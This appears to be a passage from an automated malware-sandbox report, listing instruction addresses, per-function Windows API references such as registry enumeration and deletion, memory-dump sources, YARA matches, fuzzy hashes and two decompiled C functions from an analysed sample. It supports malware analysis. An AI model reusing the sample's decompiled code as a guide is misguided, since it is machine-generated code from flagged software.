0x004bc627
0x004bc62a
0x004bc63e
0x004bc63e
0x004bc641
0x00000000
0x00000000
0x004bc63a
0x004bc63d
0x004bc63d
0x004bc63d
0x004bc643
0x004bc645
0x004bc64d
0x004bc64f
0x004bc654
0x004bc657
0x004bc659
0x004bc65b
0x004bc6af
0x004bc6af
0x004bc6af
0x004bc62c
0x004bc62c
0x004bc62f
0x004bc631
0x004bc631
0x004bc6b5
0x004bc6b8
0x00000000
0x004bc6be
0x004bc6be
0x004bc6c0
0x004bc6c3
0x004bc6c3
0x004bc6c5
0x004bc6c6
0x004bc6c6
0x004bc6d2
0x004bc6da
0x004bc6dd
0x004bc6de
0x004bc6e0
0x004bc729
0x004bc72a
0x00000000
0x004bc6e2
0x004bc6e9
0x004bc6ee
0x004bc6f1
0x004bc6f3
0x004bc735
0x004bc736
0x004bc737
0x004bc738
0x004bc739
0x004bc73a
0x004bc73f
0x004bc743
0x004bc746
0x004bc747
0x004bc74a
0x004bc74c
0x004bc755
0x004bc757
0x004bc759
0x004bc75b
0x004bc75d
0x004bc75d
0x004bc760
0x004bc761
0x004bc761
0x004bc75d
0x004bc766
0x004bc767
0x004bc772
0x004bc776
0x004bc778
0x004bc7df
0x004bc7df
0x00000000
0x004bc77a
0x004bc77a
0x004bc77d
0x004bc7cf
0x004bc7d1
0x004bc7d7
0x00000000
0x004bc77f
0x004bc77f
0x004bc782
0x004bc782
0x004bc784
0x004bc784
0x004bc786
0x004bc786
0x004bc789
0x004bc789
0x004bc78b
0x004bc78c
0x004bc78c
0x004bc794
0x004bc798
0x004bc7a2
0x004bc7a5
0x004bc7aa
0x004bc7ad
0x004bc7b1
0x00000000
0x004bc7b3
0x004bc7bb
0x004bc7c0
0x004bc7c3
0x004bc7c5
0x004bc7e4
0x004bc7e6
0x004bc7e7
0x004bc7e8
0x004bc7e9
0x004bc7ea
0x004bc7eb
0x004bc7f0
0x004bc7f3
0x004bc7f6
0x004bc7f7
0x004bc7f8
0x004bc7f9
0x004bc7ff
0x004bc801
0x004bc804
0x004bc830
0x004bc830
0x004bc830
0x004bc835
0x004bc806
0x004bc806
0x004bc809
0x004bc80f
0x004bc814
0x004bc817
0x004bc819
0x00000000
0x004bc81b
0x004bc81d
0x004bc820
0x004bc822
0x004bc83e
0x004bc840
0x004bc824
0x004bc824
0x004bc826
0x00000000
0x00000000
0x00000000
0x00000000
0x004bc826
0x004bc822
0x00000000
0x004bc828
0x004bc828
0x004bc82b
0x004bc82b
0x00000000
0x004bc809
0x004bc837
0x004bc83d
0x00000000
0x00000000
0x00000000
0x004bc7c5
0x00000000
0x004bc7c7
0x004bc7c7
0x004bc7ca
0x004bc7ca
0x00000000
0x004bc7ce
0x004bc77d
0x004bc74e
0x004bc74e
0x004bc7da
0x004bc7de
0x004bc7de
0x004bc6f5
0x004bc6fe
0x004bc706
0x004bc70a
0x004bc711
0x004bc717
0x004bc719
0x004bc71b
0x004bc720
0x004bc720
0x004bc723
0x004bc723
0x00000000
0x004bc719
0x004bc6f3
0x004bc6e0
0x004bc6b8
0x004bc619
0x004bc572
0x004bc572
0x004bc575
0x004bc5a6
0x004bc5a6
0x004bc5a8
0x004bc5b8
0x004bc5bd
0x004bc5c2
0x004bc5c8
0x004bc5cb
0x004bc5cd
0x00000000
0x004bc5cf
0x004bc5cf
0x004bc5d5
0x00000000
0x004bc5d7
0x004bc5e1
0x004bc5e6
0x004bc5eb
0x004bc5ee
0x004bc5f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004bc5f4
0x004bc5d5
0x004bc5aa
0x004bc5aa
0x00000000
0x004bc5aa
0x004bc577
0x004bc577
0x004bc57d
0x00000000
0x004bc57f
0x004bc57f
0x004bc584
0x004bc586
0x004bc5f6
0x004bc5f6
0x004bc5fc
0x004bc5fc
0x004bc5fe
0x004bc593
0x004bc593
0x004bc593
0x004bc596
0x004bc597
0x004bc59e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004bc586
0x004bc57d
0x004bc575
0x004bc56c
0x004bc53c
0x004bc515
0x004bc515
0x004bc51a
0x004bc520
0x004bc5a1
0x004bc5a5
0x004bc5a5
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 004BC52C
_free.LIBCMT ref: 004BC597
_free.LIBCMT ref: 004BC5BD
_free.LIBCMT ref: 004BC5E6
_free.LIBCMT ref: 004BC61E
_free.LIBCMT ref: 004BC64F
_free.LIBCMT ref: 004BC690
_free.LIBCMT ref: 004BC72A

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 9a0761fde9f03fae805ee7746c9f6f7a76f1b335c1ab5561470eed756c41ce26
Instruction ID: fc82f5a7fd1d7989b0451a0589fba1854a25a80a3e7f81647df149d4884ec29b
Opcode Fuzzy Hash: 9a0761fde9f03fae805ee7746c9f6f7a76f1b335c1ab5561470eed756c41ce26
Instruction Fuzzy Hash: 40614971904311AFDB34AF7688C1AEB7BA4AF15314F4401AFF9009B342DA79A9018BBD

Uniqueness

Uniqueness Score: -1.00%

Function 00C543E0, Relevance: 12.2, APIs: 8, Instructions: 175registryCOMMON

Download Yara Rule

APIs

RegDeleteTreeW.ADVAPI32(?,?), ref: 00C54466

Part of subcall function 00C51CB0: GetModuleHandleW.KERNEL32(00000000), ref: 00C51CBB

RegOpenKeyW.ADVAPI32(?,?,?), ref: 00C544A1
RegEnumValueW.ADVAPI32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00C5450A
RegDeleteValueW.ADVAPI32(?,?), ref: 00C54521
RegCloseKey.ADVAPI32(?), ref: 00C54534

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteValue$CloseEnumHandleModuleOpenTree
String ID:
API String ID: 1822512987-0
Opcode ID: e34716270add9079f6148ab01472cdf6f3a0eb45c8697ad7960f8e66cbdcb569
Instruction ID: 30a7b840adbfef424262321e222058788103552d3e8a3e1d9f73fc8d6e699186
Opcode Fuzzy Hash: e34716270add9079f6148ab01472cdf6f3a0eb45c8697ad7960f8e66cbdcb569
Instruction Fuzzy Hash: BD5193B8D04208EBEF18DF94D849BAE3774AB0830AF504419FD1596280E774DBDCDBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00C54080, Relevance: 12.1, APIs: 8, Instructions: 124registryCOMMON

Download Yara Rule

APIs

RegCreateKeyW.ADVAPI32(?,?,?), ref: 00C54092
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000), ref: 00C540EA
RegCloseKey.ADVAPI32(?), ref: 00C5410A

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateQueryValue
String ID:
API String ID: 4083198587-0
Opcode ID: 06de051d0e0a3c5d1545dba0921b4cabaa2d8816ab2fee54569c99670a3210ae
Instruction ID: cd6c5542ac739aea3759c529f05137d40c93b6ba15d875217a8ac147e06df551
Opcode Fuzzy Hash: 06de051d0e0a3c5d1545dba0921b4cabaa2d8816ab2fee54569c99670a3210ae
Instruction Fuzzy Hash: 634190BDE00208EBDF14DFA4DC49BAF33B8AB1830AF104518FD1596280D674DAD8DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00C53700, Relevance: 12.1, APIs: 8, Instructions: 63fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,00C53625,00C535F8,?,00000000,?,00C535F8,00C53625,00000000,00C53625), ref: 00C53716
WriteConsoleW.KERNEL32(00000000,?,00C535F8,00C53625,00000000,00C53625), ref: 00C5371D
GetConsoleOutputCP.KERNEL32(00000000,00C53625,00000000,00000000,00000000,00000000,00000000), ref: 00C5373E
WideCharToMultiByte.KERNEL32(00000000), ref: 00C53745
GetConsoleOutputCP.KERNEL32(00000000,00C53625,00000000,00C53625,00000000,00000000,00000000), ref: 00C53773
WideCharToMultiByte.KERNEL32(00000000), ref: 00C5377A
GetStdHandle.KERNEL32(000000F5,00C53625,00000000,?,00000000), ref: 00C53790
WriteFile.KERNEL32(00000000), ref: 00C53797

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$ByteCharHandleMultiOutputWideWrite$File
String ID:
API String ID: 1448463146-0
Opcode ID: 6fc09c1266a42647d916bddc75c7178e7e6df8854c19b3d1da32e9b2ca24811b
Instruction ID: bdc5032a2e9b2f04ede9015da029878219b41e686aef3a04490bdfae8653ce50
Opcode Fuzzy Hash: 6fc09c1266a42647d916bddc75c7178e7e6df8854c19b3d1da32e9b2ca24811b
Instruction Fuzzy Hash: 31119CB6A40208BFEB00DBD8DC4AFAE7778EB4C751F108149FA29D6190D671AA448B65

Uniqueness

Uniqueness Score: -1.00%

Function 00C79043, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 285COMMON

Download Yara Rule

APIs

Part of subcall function 00C7B398: GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
Part of subcall function 00C7B398: SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

_free.LIBCMT ref: 00C79350
_free.LIBCMT ref: 00C79369
_free.LIBCMT ref: 00C793A7
_free.LIBCMT ref: 00C793B0
_free.LIBCMT ref: 00C793BC

Strings

C, xrefs: 00C7919F

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: 511e964d94fd5ab3c904d410509100264e131cdb39ef0016271e429ebda58afc
Instruction ID: e98abdb38b1536de901e00356cd4d9653fc6ad9e8d309ace2c42648894fac334
Opcode Fuzzy Hash: 511e964d94fd5ab3c904d410509100264e131cdb39ef0016271e429ebda58afc
Instruction Fuzzy Hash: 23C14D7590121A9FDB24DF28C888BADB7B4FB48314F5085EAE90DA7390D731AE90CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00C5A87C, Relevance: 10.7, APIs: 7, Instructions: 151COMMON

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00C5A90A
DName::operator+.LIBCMT ref: 00C5A95D

Part of subcall function 00C593E8: shared_ptr.LIBCMT ref: 00C59404

Part of subcall function 00C592D7: DName::operator+.LIBCMT ref: 00C592F8

DName::operator+.LIBCMT ref: 00C5A94E
DName::operator+.LIBCMT ref: 00C5A9AE
DName::operator+.LIBCMT ref: 00C5A9BB
DName::operator+.LIBCMT ref: 00C5AA02
DName::operator+.LIBCMT ref: 00C5AA0F

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$shared_ptr
String ID:
API String ID: 1037112749-0
Opcode ID: a8a749c1ee6062b09572e2560ea76a9ef6258b2c0b04fe433653de67d55bd2f2
Instruction ID: 67d3278aa51d2b1a5e897bd4c0f43ea3b72bfb41f89465844b545b8ee4f12a30
Opcode Fuzzy Hash: a8a749c1ee6062b09572e2560ea76a9ef6258b2c0b04fe433653de67d55bd2f2
Instruction Fuzzy Hash: 0E51B6B9900218EFDF05DB95C845EEEBBB8EF08311F044159F905A7190DB749B8CDBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C57D00, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00C57D37
___except_validate_context_record.LIBVCRUNTIME ref: 00C57D3F
_ValidateLocalCookies.LIBCMT ref: 00C57DC8
__IsNonwritableInCurrentImage.LIBCMT ref: 00C57DF3
_ValidateLocalCookies.LIBCMT ref: 00C57E48

Strings

csm, xrefs: 00C57DDD

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 9cd844dd4feae1c1eddf07fdc9b843754b22a8a957bd9a39937c21b24ed5afd5
Instruction ID: 0d42405ee1a1621c7bcfdadf9623c71450793621c3a1fa2cb528790efbba6fa1
Opcode Fuzzy Hash: 9cd844dd4feae1c1eddf07fdc9b843754b22a8a957bd9a39937c21b24ed5afd5
Instruction Fuzzy Hash: 4F41E738A04208AFCF10DF68D885AAE7BB4EF45315F148295FC146B392DB319ED9CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004A0D00, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E004A0D00(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _t56;
				signed int _t63;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr* _t79;
				intOrPtr _t80;
				intOrPtr _t82;
				signed int _t85;
				char _t87;
				intOrPtr _t91;
				intOrPtr* _t92;
				signed int _t99;
				signed int _t100;
				intOrPtr _t103;
				intOrPtr _t106;
				signed int _t108;
				void* _t111;
				void* _t112;
				void* _t118;

				_t79 = _a4;
				_v5 = 0;
				_v16 = 1;
				 *_t79 = E004C4352(__ecx,  *_t79);
				_t80 = _a8;
				_t6 = _t80 + 0x10; // 0x11
				_t106 = _t6;
				_push(_t106);
				_v20 = _t106;
				_v12 =  *(_t80 + 8) ^  *0x4eb018;
				E004A0CC0( *(_t80 + 8) ^  *0x4eb018);
				E004A222C(_a12);
				_t56 = _a4;
				_t112 = _t111 + 0x10;
				_t103 =  *((intOrPtr*)(_t80 + 0xc));
				if(( *(_t56 + 4) & 0x00000066) != 0) {
					__eflags = _t103 - 0xfffffffe;
					if(_t103 != 0xfffffffe) {
						E004A23E0(_t80, 0xfffffffe, _t106, 0x4eb018);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t56;
					_v28 = _a12;
					 *((intOrPtr*)(_t80 - 4)) =  &_v32;
					if(_t103 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t85 = _v12;
							_t63 = _t103 + (_t103 + 2) * 2;
							_t82 =  *((intOrPtr*)(_t85 + _t63 * 4));
							_t64 = _t85 + _t63 * 4;
							_t86 =  *((intOrPtr*)(_t64 + 4));
							_v24 = _t64;
							if( *((intOrPtr*)(_t64 + 4)) == 0) {
								_t87 = _v5;
								goto L7;
							} else {
								_t65 = E004A2390(_t86, _t106);
								_t87 = 1;
								_v5 = 1;
								_t118 = _t65;
								if(_t118 < 0) {
									_v16 = 0;
									L13:
									_push(_t106);
									E004A0CC0(_v12);
									goto L14;
								} else {
									if(_t118 > 0) {
										_t66 = _a4;
										__eflags =  *_t66 - 0xe06d7363;
										if( *_t66 == 0xe06d7363) {
											__eflags =  *0x404578;
											if(__eflags != 0) {
												_t75 = E004C3C30(__eflags, 0x404578);
												_t112 = _t112 + 4;
												__eflags = _t75;
												if(_t75 != 0) {
													_t108 =  *0x404578; // 0x4a1196
													 *0x4f02b4(_a4, 1);
													 *_t108();
													_t106 = _v20;
													_t112 = _t112 + 8;
												}
												_t66 = _a4;
											}
										}
										E004A23C4(_a8, _t66);
										_t68 = _a8;
										__eflags =  *((intOrPtr*)(_t68 + 0xc)) - _t103;
										if( *((intOrPtr*)(_t68 + 0xc)) != _t103) {
											E004A23E0(_t68, _t103, _t106, 0x4eb018);
											_t68 = _a8;
										}
										_push(_t106);
										 *((intOrPtr*)(_t68 + 0xc)) = _t82;
										E004A0CC0(_v12);
										E004A23A8();
										asm("int3");
										_t70 = _v40;
										_t91 = _v36;
										__eflags = _t70 - _t91;
										if(_t70 != _t91) {
											_t92 = _t91 + 5;
											_t71 = _t70 + 5;
											__eflags = _t71;
											while(1) {
												_t99 =  *_t71;
												__eflags = _t99 -  *_t92;
												if(_t99 !=  *_t92) {
													break;
												}
												__eflags = _t99;
												if(_t99 == 0) {
													goto L24;
												} else {
													_t100 =  *((intOrPtr*)(_t71 + 1));
													__eflags = _t100 -  *((intOrPtr*)(_t92 + 1));
													if(_t100 !=  *((intOrPtr*)(_t92 + 1))) {
														break;
													} else {
														_t71 = _t71 + 2;
														_t92 = _t92 + 2;
														__eflags = _t100;
														if(_t100 != 0) {
															continue;
														} else {
															goto L24;
														}
													}
												}
												goto L32;
											}
											asm("sbb eax, eax");
											_t72 = _t71 | 0x00000001;
											__eflags = _t72;
											return _t72;
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t103 = _t82;
						} while (_t82 != 0xfffffffe);
						if(_t87 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x004a0d07
0x004a0d0c
0x004a0d12
0x004a0d1e
0x004a0d20
0x004a0d26
0x004a0d26
0x004a0d2f
0x004a0d31
0x004a0d34
0x004a0d37
0x004a0d3f
0x004a0d44
0x004a0d47
0x004a0d4a
0x004a0d51
0x004a0dad
0x004a0db0
0x004a0dbf
0x00000000
0x004a0dbf
0x00000000
0x004a0d53
0x004a0d53
0x004a0d59
0x004a0d5f
0x004a0d65
0x004a0dd0
0x004a0dd9
0x004a0d67
0x004a0d67
0x004a0d67
0x004a0d6d
0x004a0d70
0x004a0d73
0x004a0d76
0x004a0d79
0x004a0d7e
0x004a0d94
0x00000000
0x004a0d80
0x004a0d82
0x004a0d87
0x004a0d89
0x004a0d8c
0x004a0d8e
0x004a0da4
0x004a0dc4
0x004a0dc4
0x004a0dc8
0x00000000
0x004a0d90
0x004a0d90
0x004a0dda
0x004a0ddd
0x004a0de3
0x004a0de5
0x004a0dec
0x004a0df3
0x004a0df8
0x004a0dfb
0x004a0dfd
0x004a0dff
0x004a0e0c
0x004a0e12
0x004a0e14
0x004a0e17
0x004a0e17
0x004a0e1a
0x004a0e1a
0x004a0dec
0x004a0e22
0x004a0e27
0x004a0e2a
0x004a0e2d
0x004a0e39
0x004a0e3e
0x004a0e3e
0x004a0e41
0x004a0e45
0x004a0e48
0x004a0e58
0x004a0e5d
0x004a0e61
0x004a0e64
0x004a0e67
0x004a0e69
0x004a0e6f
0x004a0e72
0x004a0e72
0x004a0e75
0x004a0e75
0x004a0e77
0x004a0e79
0x00000000
0x00000000
0x004a0e7b
0x004a0e7d
0x00000000
0x004a0e7f
0x004a0e7f
0x004a0e82
0x004a0e85
0x00000000
0x004a0e87
0x004a0e87
0x004a0e8a
0x004a0e8d
0x004a0e8f
0x00000000
0x004a0e91
0x00000000
0x004a0e91
0x004a0e8f
0x004a0e85
0x00000000
0x004a0e7d
0x004a0e93
0x004a0e95
0x004a0e95
0x004a0e99
0x004a0e6b
0x004a0e6b
0x004a0e6b
0x004a0e6e
0x004a0e6e
0x004a0d92
0x00000000
0x004a0d92
0x004a0d90
0x004a0d8e
0x00000000
0x004a0d97
0x004a0d97
0x004a0d99
0x004a0da0
0x00000000
0x004a0da2
0x00000000
0x004a0da0
0x004a0d65
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 004A0D37
___except_validate_context_record.LIBVCRUNTIME ref: 004A0D3F
_ValidateLocalCookies.LIBCMT ref: 004A0DC8
__IsNonwritableInCurrentImage.LIBCMT ref: 004A0DF3
_ValidateLocalCookies.LIBCMT ref: 004A0E48

Strings

csm, xrefs: 004A0DDD

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: bfae582a951fb672c263695b91f8167b884e87247806ae16ade4d86b9c8f63fb
Instruction ID: a42adac0b47f7876aebff84c758353745039ee7ce7b8fd4aa8a543e889740863
Opcode Fuzzy Hash: bfae582a951fb672c263695b91f8167b884e87247806ae16ade4d86b9c8f63fb
Instruction Fuzzy Hash: BC41F931A00208ABCF10DF69C884A9F7FB1EF56314F14816BE8146B392C779AA15CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00C5BBDB, Relevance: 10.6, APIs: 7, Instructions: 102COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00C5BC03
DName::DName.LIBVCRUNTIME ref: 00C5BC30

Part of subcall function 00C59051: __aulldvrm.LIBCMT ref: 00C59082

DName::operator+.LIBCMT ref: 00C5BC4B
DName::DName.LIBVCRUNTIME ref: 00C5BC68
DName::DName.LIBVCRUNTIME ref: 00C5BC98
DName::DName.LIBVCRUNTIME ref: 00C5BCA2
DName::DName.LIBVCRUNTIME ref: 00C5BCC9

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: NameName::$Name::operator+__aulldvrm
String ID:
API String ID: 4069495278-0
Opcode ID: c2a8fe4c51f8b57208e8e9a0182d26a40f91810061eb5b7063b623be7a4e5a71
Instruction ID: f943e915919f196785ddff8da81b24e1018ad3fc05343db7b495dbe6ef5fc419
Opcode Fuzzy Hash: c2a8fe4c51f8b57208e8e9a0182d26a40f91810061eb5b7063b623be7a4e5a71
Instruction Fuzzy Hash: 95319279904188AADB08DFA4C891BED7B75BF1A312F144149F85267291DF70BECC971C

Uniqueness

Uniqueness Score: -1.00%

Function 00C5C234, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00C5C258
DName::DName.LIBVCRUNTIME ref: 00C5C27C

Strings

A, xrefs: 00C5C2E4
%lf, xrefs: 00C5C2BD

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: NameName::
String ID: %lf$A
API String ID: 1333004437-43661536
Opcode ID: ce14a8e6f92a348a976eb4cbb66a87651299f39f76a6d66ddd7e460e4e3a96f7
Instruction ID: 4d62b1b9850ac8f32f170d0b033dc9787ec736e709bce3a37702e84b1f0e0767
Opcode Fuzzy Hash: ce14a8e6f92a348a976eb4cbb66a87651299f39f76a6d66ddd7e460e4e3a96f7
Instruction Fuzzy Hash: 833191B8904388DFCF14DFE4C8956ED7BB4AB09305F00805EE846AB255D7B09A8DDB49

Uniqueness

Uniqueness Score: -1.00%

Function 00C86A3A, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

ext-ms-, xrefs: 00C86AA5
api-ms-, xrefs: 00C86A91

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 226cf4167440ca298ce1d6431beba21edd7c7323908dd1736495886db58374e5
Instruction ID: 5ef990dc44a94847e43548b10eaa53477c35f26b96da521c07c71475f8265225
Opcode Fuzzy Hash: 226cf4167440ca298ce1d6431beba21edd7c7323908dd1736495886db58374e5
Instruction Fuzzy Hash: 7221D531A05220BBCB26AB659C45F9B3758DF05B6CF199525EC26B7290D730EE00E7E8

Uniqueness

Uniqueness Score: -1.00%

Function 00492967, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00492967(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				void* _t34;
				signed int _t38;
				signed int _t39;
				intOrPtr _t47;
				intOrPtr _t49;
				void* _t50;
				intOrPtr* _t51;
				intOrPtr _t52;
				signed int _t53;
				void* _t63;
				intOrPtr _t66;
				void* _t67;
				void* _t71;

				_t71 = __eflags;
				_t52 = __ecx;
				_push(0x30);
				E0049D90B(0x4d6da8, __edi, __esi);
				_t49 = _t52;
				 *((intOrPtr*)(_t67 - 0x10)) = _t49;
				_t32 = E00489787(_t67 - 0x3c);
				_t50 = _t49 + 0x2c;
				_t53 = 0xb;
				memcpy(_t50, _t32, _t53 << 2);
				_t34 = E004A5AB9();
				_t66 =  *((intOrPtr*)(_t67 - 0x10));
				_t63 = _t34;
				 *((intOrPtr*)(_t67 - 0x10)) = _t66;
				 *((intOrPtr*)(_t66 + 8)) = 0;
				 *((intOrPtr*)(_t66 + 0x10)) = 0;
				 *((intOrPtr*)(_t66 + 0x14)) = 0;
				 *((intOrPtr*)(_t66 + 0x18)) = 0;
				_push(_t50);
				_push(0);
				 *((intOrPtr*)(_t67 - 4)) = 0;
				 *((intOrPtr*)(_t66 + 8)) = E004302EE(_t63, _t66, _t67, _t71,  *((intOrPtr*)(_t63 + 0x1c)));
				E0049276F(_t66, 0, _t63);
				if( *((char*)(_t66 + 0x28)) == 0) {
					_t38 =  *((intOrPtr*)(_t63 + 0x29));
				} else {
					_t38 =  *((intOrPtr*)(_t63 + 0x28));
				}
				_t39 = _t38;
				 *(_t66 + 0x1c) = _t39;
				if(_t39 < 0 || _t39 >= 0x7f) {
					 *(_t66 + 0x1c) =  *(_t66 + 0x1c) & 0x00000000;
				}
				_t20 = _t66 + 0x20; // 0x20
				_t51 = _t20;
				E00493C84(_t66, _t51,  *((char*)(_t63 + 0x2b)),  *((char*)(_t63 + 0x2a)),  *((char*)(_t63 + 0x2e)));
				_t24 = _t66 + 0x24; // 0x24
				_t47 = E00493C84(_t66, _t24,  *((char*)(_t63 + 0x2d)),  *((char*)(_t63 + 0x2c)),  *((char*)(_t63 + 0x2f)));
				if( *((char*)(_t67 + 0xc)) != 0) {
					_t47 = 0x76782b24;
					 *_t51 = 0x76782b24;
					 *((intOrPtr*)(_t66 + 0x24)) = 0x76782b24;
				}
				return E0049D8D4(_t47);
			}

0x00492967
0x00492967
0x00492967
0x0049296e
0x00492973
0x00492975
0x0049297c
0x00492981
0x00492988
0x0049298b
0x0049298d
0x00492992
0x00492995
0x00492999
0x0049299c
0x0049299f
0x004929a2
0x004929a5
0x004929a8
0x004929a9
0x004929ad
0x004929b8
0x004929c0
0x004929c9
0x004929d0
0x004929cb
0x004929cb
0x004929cb
0x004929d3
0x004929d6
0x004929db
0x004929e2
0x004929e2
0x004929ea
0x004929ea
0x004929fb
0x00492a04
0x00492a15
0x00492a1e
